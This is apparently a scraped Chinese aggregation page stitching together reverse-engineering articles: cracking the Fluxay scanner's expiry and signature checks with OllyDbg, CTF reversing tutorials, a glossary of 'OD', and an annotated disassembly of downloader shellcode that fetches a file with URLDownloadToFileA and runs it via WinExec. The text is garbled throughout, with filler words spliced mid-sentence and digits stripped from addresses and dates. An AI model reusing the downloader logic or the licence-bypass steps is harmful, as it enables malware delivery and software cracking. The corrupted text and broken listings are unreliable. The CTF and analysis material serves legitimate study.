1.第50篇:使用OD逆向破解流光Fluxay扫描器各种限制(怀旧)
2.od是逆向逆什么意思?
3.CTF(Capture The Flag)逆向入门
4.c语言怎样反汇编?
5.通过一个例子来介绍OD的简单使用
第50篇:使用OD逆向破解流光Fluxay扫描器各种限制(怀旧)
第篇:回顾OD逆向破解流光Fluxay扫描器限制的怀旧经历
在过去的岁月里,我偶然翻出大学时期的源码小榕开发的扫描器——流光Fluxay。这款工具曾在国际上颇受欢迎,教程勾起了我对那段技术探索时光的逆向逆回忆。为了重温使用,源码我面对几个和版本的教程源码汉化工具有局限性的版本,决定通过OllyDbg和逆向破解技术来解决。逆向逆
破解过程分为三步:首先,源码去除启动时的教程“用户调查表”;其次,处理数字签名验证;最后,逆向逆消除软件过期校验。源码面对“用户调查表”难题,教程我采取了暂停并跳出消息队列的逆向逆方法,定位到关键跳转并设置断点,源码通过NOP操作移除调查表。教程
接着,我针对“软件过期”提示,通过查找并禁用退出函数,发现并修改了关键的jump指令。虽然偶尔还会遇到过期提示,但在Win上不再显示。对于“数字验证”,我同样单步跟踪,最终在处改变跳转,绕过了验证。visualbasic 源码
对于年的老版本,虽然启动界面不同,但通过分析其他版本,我猜测关键call可能在“Software\Banyet\FluXay”字符串附近。找到这个字符串后,我在D5处进行了nop操作,移除了启动界面的限制。
逆向破解的旅程提醒我们,理解软件开发者的编码习惯至关重要。我在破解过程中,运用了对软件结构的深入理解,不断试验和调整,最终成功解除了所有限制,再次体验了这款老工具的怀旧魅力。
总结来说,逆向破解需要细心观察和对代码逻辑的熟悉,尤其是对退出指令和关键call的定位。尽管时代变迁,但这些技术技能依然值得我们回味和学习。
od是什么意思?
OD是什么意思?
OD有以下几种含义:
1. OD代表吸光度(Optical Density),是衡量光通过一个样本时被吸收程度的物理量。在光谱学中,透光率是入射光和出射光强度的比值,而OD则专门指光的else源码吸收现象。
2. OD还指组织发展(Organization Development),这是组织为了适应快速变化的环境和技术,而进行的一系列旨在改变组织成员的认知、态度、价值观以及组织结构的行动。组织发展的目标是为了保持和更新组织的活力。
3. 在交通领域,OD代表交通出行量,即起终点间的交通流量。OD调查,或称交通起止点调查,是指对出行者的出发地点和目的地进行统计分析。
4. OD是软件名称的缩写,特指OllyDbg,这是一个流行的反汇编和动态追踪工具,被广泛用于软件调试和逆向工程。
5. 在计算机领域,OD命令用于以特定格式显示文件内容,无论是文本文件还是二进制文件。这个命令常用于查看二进制文件中的数据值。
总结来说,OD一词在不同的上下文中有不同的含义,包括物理量度、组织变革、mall 源码交通流量、软件工具以及计算机命令等。
CTF(Capture The Flag)逆向入门
CTF逆向入门,掌握汇编指令与工具是关键。以下,我们以两个案例带你了解使用OD与IDA进行逆向分析。
首先,通过OD逆向解密一个Winodws可执行程序disassemble-upx.exe。我们从检查加壳情况入手,利用PEiD查看,确定无加壳。接着,动态调试至找到关键字符串“请输入密码”,通过F4和F8操作定位关键汇编指令。发现跳转指令后进行修改,最终获取到flag。
其次,借助IDA进行另一个可执行程序cesarCipher.exe的逆向分析。我们从main函数开始,定位至sub_处,理解其逻辑后,发现必须输入1才能返回1的规则。接着,通过sub_E分析,插图源码结合ASCII码,得知输入字符为nee2rds,直接运行程序,输入nee2rds和1,即可获取flag。
此外,sub_进一步解析,发现Str操作结果为flag。注意到ASCII码落在~之外时,程序自动将值赋为,即下划线字符。最后,无需关注具体凯撒密码变形,因为程序已给出flag。
c语言怎样反汇编?
文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD 5A pop edx ; 函数返回的地址保存到edx中
4AD :A1 mov eax, dword ptr fs:[] ; 取peb
4AD 8B 0C mov eax, dword ptr [eax+C] ; peb_link
4ADB 8B 1C mov esi, dword ptr [eax+1C] ; 初始化列表到esi
4ADE AD lods dword ptr [esi] ; [esi]->eax + 8的位置即kernel.dll的地址
4ADF 8B mov eax, dword ptr [eax+8] ; eax=kernel.dll的地址
4AD 8BD8 mov ebx, eax ; ebx=kernel.dll的基址
4AD 8B 3C mov esi, dword ptr [ebx+3C] ; esi = pe头偏移
4AD 8BE mov esi, dword ptr [esi+ebx+] ; esi为kernel.dll导出表的偏移
4ADB F3 add esi, ebx ; esi = kernel.dll导出表的虚拟地址
4ADD 8B7E mov edi, dword ptr [esi+] ; edi=ent的偏移地址
4AD FB add edi, ebx ; edi = ent的虚拟地址
4AD 8B4E mov ecx, dword ptr [esi+] ; ecx = kernel.dll导出地址的个数
4AD ED xor ebp, ebp ; ebp=0
4AD push esi ; 保存导出表虚拟地址
4AD push edi ; 保存ent虚拟地址
4AD push ecx ; 保存计数
4ADA 8B3F mov edi, dword ptr [edi]
4ADC FB add edi, ebx ; 定位ent中的函数名
4ADE 8BF2 mov esi, edx ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD 6A 0E push 0E ; 0xe0是GetProcAddress函数的字符个数
4AD pop ecx ; 设置循环次数为 0xe
4AD F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD je short 4ADF ; 如果ENT中的函数名为GetProcAddress跳走
4AD pop ecx ; 不相等则将导出地址数出栈
4AD 5F pop edi ; ent虚拟地址出栈
4AD C7 add edi, 4 ; edi地址递增4字节 因为ENT的元素大小为4字节
4ADC inc ebp ; ebp用于保存ent中定位到GetProcAddress函数时的计数
4ADD ^ E2 E9 loopd short 4AD ; 循环查询
4ADF pop ecx
4AD 5F pop edi
4AD 5E pop esi
4AD 8BCD mov ecx, ebp ; 计数保存于ecx
4AD 8B mov eax, dword ptr [esi+] ; esi+0x Ordinal序号表偏移地址
4AD C3 add eax, ebx ; ordinal序号表的虚拟地址
4AD D1E1 shl ecx, 1 ; ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4ADB C1 add eax, ecx
4ADD C9 xor ecx, ecx ; ecx=0
4ADF :8B mov cx, word ptr [eax] ; 保存取出的ordinal序号
4AD 8B 1C mov eax, dword ptr [esi+1C] ; eax 为kenrnel.dll的EAT的偏移地址
4AD > C3 add eax, ebx ; eax = kernel.dll的eat虚拟地址
4AD C1E1 shl ecx, 2 ; 同上,扩大4倍因为eat中元素为DWORD值
4ADA C1 add eax, ecx
4ADC 8B mov eax, dword ptr [eax] ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4ADE C3 add eax, ebx ; 与基址相加求得GetProcAddress函数的虚拟地址
4AD 8BFA mov edi, edx ; GetProcAddress字符到edi
4AD 8BF7 mov esi, edi ; esi保存GetProcAddress地址
4AD C6 0E add esi, 0E ; esi指向GetProcAddress字符串的末地址
4AD 8BD0 mov edx, eax ; edx为GetProcAddress的地址
4AD 6A push 4
4ADB pop ecx ; ecx=4
有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4ADC E8 call 4ADE1 ; 设置IAT 得到4个函数的地址
4AD C6 0D add esi, 0D ; 从这里开始实现ShellCode的真正功能
4AD push edx
4AD push esi ; urlmon
4AD FF FC call dword ptr [edi-4] ; 调用LoadLibrarA来加载urlmon.dll
4AD 5A pop edx ; edx = GetProcAddress的地址
4ADA 8BD8 mov ebx, eax
4ADC 6A push 1
4ADE pop ecx
4ADF E8 3D call 4ADE1 ; 再次设置 IAT 得到URLDownLoadToFileA
4ADA4 C6 add esi, ; esi指向URLDownLoadToFileA的末地址
4ADA7 push esi
4ADA8 inc esi
4ADA9 E cmp byte ptr [esi], ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束
4ADAC ^ FA jnz short 4ADA8 ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x
4ADAE xor byte ptr [esi],
4ADB1 5E pop esi
4ADB2 EC sub esp, ; 开辟 byte栈空间
4ADB5 > 8BDC mov ebx, esp ; ebx为栈区的指针
4ADB7 6A push
4ADB9 push ebx
4ADBA FF EC call dword ptr [edi-] ; 调用GetSystemDirectoryA得到系统目录
4ADBD C 5CE mov dword ptr [ebx+eax], EC ; ebx+0x 系统路径占 0x个字节
4ADC4 C mov dword ptr [ebx+eax+4], ; 拼接下载后的文件路径%systemroot%\system\a.exe
4ADCC C0 xor eax, eax
4ADCE push eax
4ADCF push eax
4ADD0 push ebx
4ADD1 push esi
4ADD2 push eax
4ADD3 > FF FC call dword ptr [edi-4] ; URLDownLoadToFile下载文件为a.exe
4ADD6 8BDC mov ebx, esp
4ADD8 push eax
4ADD9 push ebx
4ADDA FF F0 call dword ptr [edi-] ; WinExec执行代码
4ADDD push eax
4ADDE FF F4 call dword ptr [edi-C] ; ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦。
通过一个例子来介绍OD的简单使用
OllyDbg,一个在逆向工程中常被使用的位动态调试器,下面通过bugku的Eazy-Re示例来演示它的基本操作。
首先,打开程序,输入提示要求的flag,这里我们随意输入,但会被提示错误。接下来,用OD(OllyDbg的简称)加载程序,初次接触可能会被其复杂的界面吓到,但别担心,它由五个窗口组成:反汇编窗口、信息窗口、寄存器窗口、数据窗口和栈窗口。
在分析时,我们可以使用反汇编窗口的搜索功能(右键点击空白处,选择中文搜索引擎,查找字符),如'flag',找到相关提示。继续查看,可能会发现真正的flag。然而,为了全面展示OD的使用,我们继续分析未找到flag的情况。
假设输入错误,比如输入'aa',程序会提示错误。双击进入相关代码,你会看到一个jnz判断,判断失败会跳转到错误提示。我们在此处设置断点(F2),然后运行程序(F9或红色三角形图标),观察程序状态。
输入特定字符串后,程序会到达断点,通过信息窗口和寄存器窗口,可以看到输入和flag在寄存器中的比较过程。通过改变断点位置,我们可以逐步跟踪程序执行,理解每一步的操作。
总的来说,使用OD进行程序分析的步骤包括寻找特殊字符串或API、设置断点、运行并调试。对于不太熟悉的汇编代码,可以结合IDA pro等静态分析工具。对于更深入的学习,可以参考《加密与解密》一书。